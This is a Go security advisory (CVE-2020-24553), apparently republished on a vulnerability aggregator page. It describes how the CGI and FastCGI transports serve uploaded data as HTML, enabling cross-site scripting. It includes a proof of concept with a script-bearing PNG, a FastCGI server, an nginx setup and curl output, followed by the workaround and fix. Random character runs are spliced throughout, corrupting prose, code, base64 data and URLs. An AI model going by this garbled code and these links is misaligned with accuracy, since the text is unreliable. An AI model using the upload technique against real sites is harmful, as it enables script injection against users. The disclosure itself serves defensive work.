Go CGI / FastCGI Transport Cross Site Scripting – CXSecurity.com

漏洞ID 2141755 漏洞
发布时间 2020-09-02 更新时间 2020-09-02
CVE编号 CVE-2020-24553

CNNVD-ID N/A
漏洞平台 N/A CVSS评分l r e N/A
漏洞来源
ht) D b { atps://cxsecurity.com/iH x L W F _ ~ ^ssue/WLB-2020090004
漏洞详情
漏洞细节尚未披露h B U : & 5 C f z
漏洞EXP
AdvisC e @ F ` Z ;ory: Inconsistent Behaviv R ~ H g ^ e - por of Go's CGI and FastCGI Transport May Lead tU R @o Cross-Site Scripting
The CGI and FastCGI ie t = Y H F Pmplementations iq I S n f e V &n the Gom n = A K b standard library behave
differently from the HTTP serve^ + x er imG 2 F l h 0 b /plementation when serving content.
In contrast to the document+ 4 u m ^ed behavior, they may return non-HTML data as
HTML. Thc n a [ t Mis may lead to c5 4 / [ E 6ross-site scripS k % :ting vulnerabilities even if
uploaded data has been validated during upload.
Details
=======
Product: Go
Affected Versions: <=@ ! N z K z 1.14.7, 1.15
Fixed Versions: 1.14.8k P I 3 - x # + , 1.15.1
Vulnerability Type: Cross-Site Scripting
Security RiskO ? T ( N 3 , _ ]: medium
Vendor URL: https://golang.org
V9 Y x _ W *endo0 ) L ( L { a !r Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/adv j _ Disories/rt-sa-2020-004
Advisory Status: published
CVE: CVE-2020-24553
CVE URL: https://cc n * P x =ve.mitreV g [.org/cgi-bin/cvename.cgi?name=CVE-2020-24553
Introduction
============
The Go standard library defines the ResponseWritei n I n ( 3 Mr[1]o D [ N interface in the
net/http package for HTTP services. It% o F + 4 v allows serving cc ! ` % ontent via
arbitrary transports so the handler function2 ` e U @ t Rs can be written without a
specific transport in mind. The standard library contains an HTTP server
implemT A ! : J : 3 }entation as well as CGI and FastCGI protocol imK ` ] B u f  P Aplementations. The
library aR K u x = I D o vlso contains a mock implementation called ResponseRecorder[2]
in the net/httpZ M D t t C 4 l _/httptest package for use in testing. There may even be
more implementations oum o b # _ 5 dtside the standard library.
Ma { d %ore Detai~ C b i W /ls
======D 8 =======
In Go, the documentation of the interface describes the behavior all
implementations s7 ! u m Zhould confo| # f 5   / N Wrm to. For the Write() method of the
interface,T ( + $ the foll; t J 4 ~ K z * 6owing paragraph describes what hg p f i %appens if WrK  a 9 s Tite() is
called when the HTTP header ConT  (tent-Type is not set (via WriM K X ( | 9 )teHeadeP J z ^r()):
---------------------/ k y K---------------------------------------------------
// If WriteHeader has not yet been called, Wf N [rite calls
// WriteHe_ 6 D x f A Wader(http.S h K .StatusOK) before writing the data. If the Header
// doe_ 6 r X us not contain a Con2 M i -tent-Type line, Write adds a Contenw h L R S Z @ ~t-Type set
// to the result of passing the initial 512 byt+ p Ves of written data to
/Q 7  ~ L q @/ DetectContentType. Additionally, if the total sx W D 6 n zize of all written
// dz } M H Z e , iata is under a few KB anw k ( q V ^ ; 1 Td there art f 4 W ne no Flush calls, the
// Content-Length header is added automatically.
---------------------------------------------e N e ^ 2 o-------------s ^ o d s W O _--------------
If no Content-Type header is specified explicitly, all implet v $  0mentations
of the ReX r 2 c 5 {sponseWriter| G Z interface should therefore use the first 512 bytes
of the data passed to Write() to automatically detect and serve a
sensible Content-Type accor! ? |ding to the algorithm describ{ U ,ed in [3].
The HTTP server implementation as well as the ResponseRecorder mock
implementation both exhibit tT s AhC , , U G Qe documented behavior. The CGI and FastCGI
transports however were found to always set the Content-Type to
"text/html; charset=utf-8".
For th7 C # v ,e CGI implementation, this can be found in net/http/* . @ W  K )cgi/child.go[4]:
------------------------------------------------------------------------
func (r *respom 6 A Q g ^nse) WriteHeader(code int) {
[5 5 &...]
// Set a default Content-Type
if _, hasType := r.header[q o 7"Content-Type"]; !hasType {
r.header.Add("CoL % _ ) 3 - ]nt( 7 ~ 3ent-Type"Z q $, "text/html; charset=utf-8")
}
[...]
}
------------------------------------------------------------------------
The code looks similar for the FastE z N B t c n 3CGI impl7 & I t ! rementation in
net/7 ` ;http/fcgi/child.go[5]:
--------------------------------------------------------q { l & A v----------------
func (r *response)E W 6 4 Z i % ) WriteHeader(code int) {
if r.wroteHead / `der {
return
}
r.wroteHeader = true
if code == http.StatusNotModified {
// Must not have bL  y U l . ?ody.
r.header.Del(k / # W 1 : K I"Contem L { k 0 J E ) nt-Type")
r.~ P 1 % lheader.Del("Content-Length")
r.heaV g + x 5der.Del("T| G 7 R S } ( ` Gransfer/ v ] ; /-Encoding")
} else if r.header.Get("Content-Type") == "" {
r.headerp $ f $ u e ..Set("Content-Type", "tP  r  O | H v xext/html; charset=utf-8")
}
[...]
}
-----------------------------------------R | z 0 o E-------------------------------
This difference in behavior leads to applications which depend on th{ Q = Z 6 |e
behavior documented for i6 ; B s w & Tmplementations of the ResponseWriter interface
becoming vulnerabN z { 9 X T &le to cross-site scriptin, 2 q u p hg when ser& e zved via CGI orh } s - 0 h [ %
FastCGI. RedTeam Pentesting has discovered such vulnerable applh C c 1 e h Z vicatio| M ns
in the wildv r N.
For example, consider a web application which allows uploading PDF files
and pic7 ` I ! `tures. During upload, the application checks (via the
DetectConten6 q d u V & V xtType() mentioned in3 W C n the documentation) that the uploadt f S m E # [ 8edm G _ H T % F g k
content is eitD W , [ p a - A (her "application/pdf" or "iJ R 6 C :mage/p1 - ) { * ( 3 Qng" and rejects all other
data. When an uploaded file is requested again, the application does not
set a Content-Type header and depends on the auto detection. If the HTTP
server from the sta) P ndard library is uw 2 R $sed, th6 l 8 ae WriteHeader() method
detects the conx p ^ ; | C a ]tent ac a ` s . U J }nd sets the ConA a K %tent-Type header to either
"application/pdf" or "image/png) 8 o & b ) N  c".
Attackers can generate a PNG file which iH j u 5 _ :ncludes a <script6 V A&gM m pta * g H Q s o; tag with
JavaScript in the comment field:
------------------------------c I @ l u F + e f----------------V C ( s 5 W [ n S---------u 7 # y r-----------------
$ convQ [ c F xert \
-comment '<script>alert("RedTeam Pentesting")</script>' \
-size 1x1 xc:'#000000' e+ w n g nxploit.png
-------------------------------------------------------N * 8 J-----------------
The check during the upload procez  O c K jss pe7 ~ | }rmits the file (because it is a
valid PNG file). When the file is requested again, the Content-Type
headerX Y 1 C C  u ` is set to "image/png", the ima( o v #ge is shown in the users' broB + h ] / C 6 i hwsers
and the embedded JavaScript code is not executed.
If the web application is run via C. b [ ? 9 = / 1GI or FastCGI, it is now vulnerable
to cross-site scripting. The upload process is exactly the same, but
when the file is requested again, the Con_ e r cto K Q 1 l n = Rent-Type is setg ) w ~ e C 0 F H to
"text/html". When users no: P P K N v R : 7w access the file directly, it is interpreted
as HTML and the embedded Jn b R y # S r havaScript code is executed.
Proof of Concept
===x o Z r j ^  e========8 ; a 7 H ; ` i j=====
In the following, a small sample application is built which depends on
the behavior documented fors  y L g j k R X the ResponseWriter interface to return image
data to HTTP clien, Z s g - [  n fts. The source code is printed below:
-----------a O z------------------------V I x Q z---{ ! M / + G v----------------------------------
p~ G Q n 5ackage main
import (
"encoding/base64"
"flag"
"log"
"net"
"net/http"
"net/http/fcgi"
)
// generated with:
// convert \
//   -comment '<script>alert("RedTeam Pentesting")</script>' \
//   -size 1x1r H + + + 9 3 q xc:'#0000009 q _ ] ] B &' png:-  base64
const imageBase64 = `
iVBORw0KGgoAAAANSUhEUgAAAAEAH e 7 O LAAABAQAAAAA3bvkkAAAABGC | LdBTUEAALGPC/xhBQAAACBjSFJN
AAB6JgAAgIQAAPoAAACA6AAA S @ 1 fAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAd2KE6QAAAAHdElK C MN
RQfkCAcQr B $BDsl5w8cAAAACklEQVQI12NgAAAAAgAB4iG8MwAAADR0RVh0Y29tbWVudAA8c2NyaXB0
PmFsZXJ0KCJSZWRU) m , m 0ZWFtIFBlbnRlc3Rt A z , v A b b ?pbmciKTwvc2NyaXB0PlrICKkAAAAldq j Z / OEVYdGRhdGU0 , X F F L !6Y3Jl
YXRlADIwMjAtMDgtMDdUMTQ6MDQ6NTh [ & A 4 $ ; U krMDI6MDDb6CukAAAAJXRFWHRkYXRlO7 . f :m1vZGlm* * 4 `eQAyMDIw
LTA4LTA3VDE0OjA0OjU5KzAyOjAwqrWTGAAAAABJRU@ a *5ErkJggg==
`
func main() {
httpServer := flag.Bool("hto X t w [tp", false, "run HTTP server instead o( 6 G A } / C Af Fas, L Dtd o Y $ h ~ ` WCGI")
flag.Parse()
image, err :=T K 5 ~ X B R $ 9 base64.StdEncoding.DecodeString(imageBase6e w y4)
if err != nil {
panic(err)
}
ln, err := net.Listet w s f Fn("tcp", "127.0.0.1:8001")
if err != nil {
panN $ -ic(err)
}
handler := http ` d g N.HandlerFunn 3 _ E : j $ ! `c(func(w http.ResponseWriter, req *http.Request) {
w.Write(ih f | z 4 ;mage)
})
if *httpServer {
// returns "C^ ^ [ w % y f % _ontent-Type: text/plain; charset=utf-8", safe
log.FatalI e C n O # } | E(httn P d Sp.Serve(ln, handler))
} else {
// returns "Content-Type: text/html", caus2 V ves HTML/JavaScript to be interpreted
log.Fatal(fcgi.Serve(ln? { D X 9, hF ` # b [ L e +andler))
}
}
-------------------------------------r x z G--------------------------------] O c 4 ^ a s---
This program is started asy T # 6 F = follows:
------------------------------b Q 7 s ( U------------------------------Z 7 8 ; c ! / } t------------
$ go mod init poc
$ go run .
------j # -  0------------------------------------------------------------------
ID q E ; R qt lif i L 5 D dstens for FastCGI requests on the TCP portR a } Z C 0 1 o 8001.
It can be sa l d Y derved via FastCGI for example using nginx and the following
configuration:
------------------------------b : g M i w I 6 f------------------------------------I q k o i o !------
daemon off;
pid /dev/null;
erZ j Z |ror_log /dev/stdout info;
events {}
httj z d v g j & ~ fp {
access_log /dev/stdout;
server {
listen 127.0.0.1:8000;
locaq o O ution / {
fastcgi_pass localhost:8001;
include /etc/nginx` F M j n [/fastcgi_params;
}
}
}
------------------------------------------------------------------------
Theb { [ ? W HTTP server can be run as follows:
------------------------------------------------------------------------
$ nginx -c $PWD/y , I J . x o %n2 , [ Bginx.conf
---------------) e l g . 6--v D x 7------------------------------------------4 t A k f 6 t------------1 S v-
When the URL http://localhost:8000 is opened in a brv F o v R x 5owser, the
JavaSch W ,ript code is executed and a mesO t @ m d ! ksage box with the text "RedTeam
Pentesting" is opened. This can also be verified using the command-line
HTTP client curl as follows:
-----------------------------------------------C i H . * 2 =-------------------------
$ curl -i -o - http://localhost:8000
Hv 8 x n  Y F TTTP/1.1 200 OK
S] ? w Gerver: nginx/1.14.2
Content-Type: text/html; charset=utf-8
[...]
PNG[...]EXtcomment<script>alert("RedTeam Pentesting d t P 2 0 q $ wg")</script>[...]
--R ( ?-----M w U-------------------------------------------6 N c o  Z----------------------
The sak a M x Dme happens when the CGI transport is used.
When the sample program iL A p O !s run with the flag "-http", the HTTP server
from the standard library is run instea| u . 4 7 |d on TCP por} { 7 ] ut 8001:
------------------------------------------------------------------------
$ go run . -http
--------{ j / J - 1 * P------------------------------------l Z 3 D | , !----------------------------
Now theK G B ` correct Content-Type header is rei ~ d { Fturned:
----------------------( 4 i y n------- 2 s .-----------------------------------e m j x @ Z M--------
$ curl -i -o - http://localhost:8001
HTTP/1.1 200 OK
Content-Type: image/png
[...]
PNG[...]
------------------------------------------------------. o e G 1 J Q-X 7 7 C-----------------
Workaround
==========
Applications should explicitly set a Content-Type via the Header().Set()
method of the ResponseWriter interface. The* ! ) ; 2 t G  relevant code from the
sample application mentioned above then looks like this:
-------------------------A f T .-----------------------------------------------
handler :=R Q k s http.HandlerFunc(func(w http.ResponseWritg l Z j ,er, re$ = o ^ e J yq *http.Request) {
w? C z $ R I q . W.Header().Set("Content-Type", "image/png")
w.WriteX e J : 1 A 3  a(image)
})
-------------------y c a I @ !---------------o g e % i--------------------------------------
Fix
===
The CGI and FastCGI implementations of the ResponseWriter interface should
behave as8 x h X documented and infer the Content-Type from the response data. This
was implemented in Go versions 1.14.8 and 1.15.1 (the patch c0 u F & a gan be found here
[7_ K D #]).
Security Risk
=============
The risk of this vulnerability heal i 5vily depends on the concrete
application at hand. If it depends on the documenv ~ A eted behavior and ij ~ w 9 (s
accessed via CGI or FastCGI and provides attackers a mea1 _ W !ns to request
data they can influence, this may lead to a cross-site scripting
vulnerability.
When other users of ths r c # ? b 3 t 3e same application request the attackers' data,
the embedded JavaScript code is executed and the attackers can interact
with the web application in the user's name, display arbitrary content
within the user's bS l g N Qrowser, and observe the user's interaction with thF ] 0e
web application.
Considering! b U the s& o 3 { Kevere consequences an7 z 7 c R + 3 h 2d the requirements for
exploitation (serving via CGI/FastCGI instead of HTTP), this
vulnerability is rated as a medium risk.
Timeline
=$ D @ ) h=======
2020-08-07 Vulnerability identified
2020-08-10 Vendor notified
2020-08-10 VeD x u K = { Xndor acknowledges receipt of report
2020-08-14 Vendor confirms security issuesm S 2 A P W b ? k
2020-08-20 Vendor announces plans fX e s i t Uor a minor releas* k k ] c b z A 9e of Go
2020-09-01 Vendor releases new version of Go, issue[6] is #40928, patch[7]
Re! X u r P Dferences
==========
[1] https://pkg.go.dev/net/http/?tab=doc#Res= ~ - IponseWriter
[2] https:c ( ! l t 6 N L L//pkg.go.dev/net/http/httpR x t 6 ste4 u h A / + V dst?tab=doc#ResS j { k vponsv ! h HeRecorder
[3] https://mimesniff.spec.whatwg.orgc } 9 ;/
[4] https://githu4 X X a ab.com/golang/go/blob/ba9e1088997? ) } ] . K m r6025ee1d027db6b1cad383ec56de8/src/net/http/cgi/child.go#L196-L199
[5] https://github.com/golang/go/blob/ba9e1L ~ D0889976025ee1d027db6b1cad} M S f383ec56de8/src/net/http/fcgi) } ! Q l A B p (/child.go#L112-L114
[6] https://github.com/golang/go/issues/4092? $ e ( [ g v X S8
[7] https://go-review.googlesource.com/c/go/+/252179/
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specg . X 7 /ialised IT-security exV S } { f u % : !perts. Hereby, securiK c d Ity weaknesses in
coU z %mpany networks or proda R ducts are uncovered and can be fixed immediately.
As the5 h 7re are only few expertsP 4 O D g j Y , in this field, RedTeam Pentesting wants to
share its knowledge aP w ^nd enhance the publW m { Y 6 L  ,ic knowledge with rese7 w s barch in
security-related areas. The results are made available X Y f as public
security advisories.
More information about RedTeam Pentesting ct b u 1 @ ] % .an be found at:
https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
============* F } g 6 r 4 /=================
RedTeam Penu w w Q e 1 l o otesting is looking for penetration testK % P ; R b A Cers to join our team
in Aachen,G S P  t Z } f Germany. If you are interested please visit:w w M S m = I
https://T % E :www.redteam-pentesting.de/jobs/
--
RedTm [ / a d =eam Pentesti~ U I Z Zng GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aach9 ] % e 3 pen                    https://www.redteam-pentesting.de
Germany                         Registerger~ u icht: Aachen HRB 14004
GX F # * r W ,eschftsfhrer:                       Patrick Hof, Jens Liebchen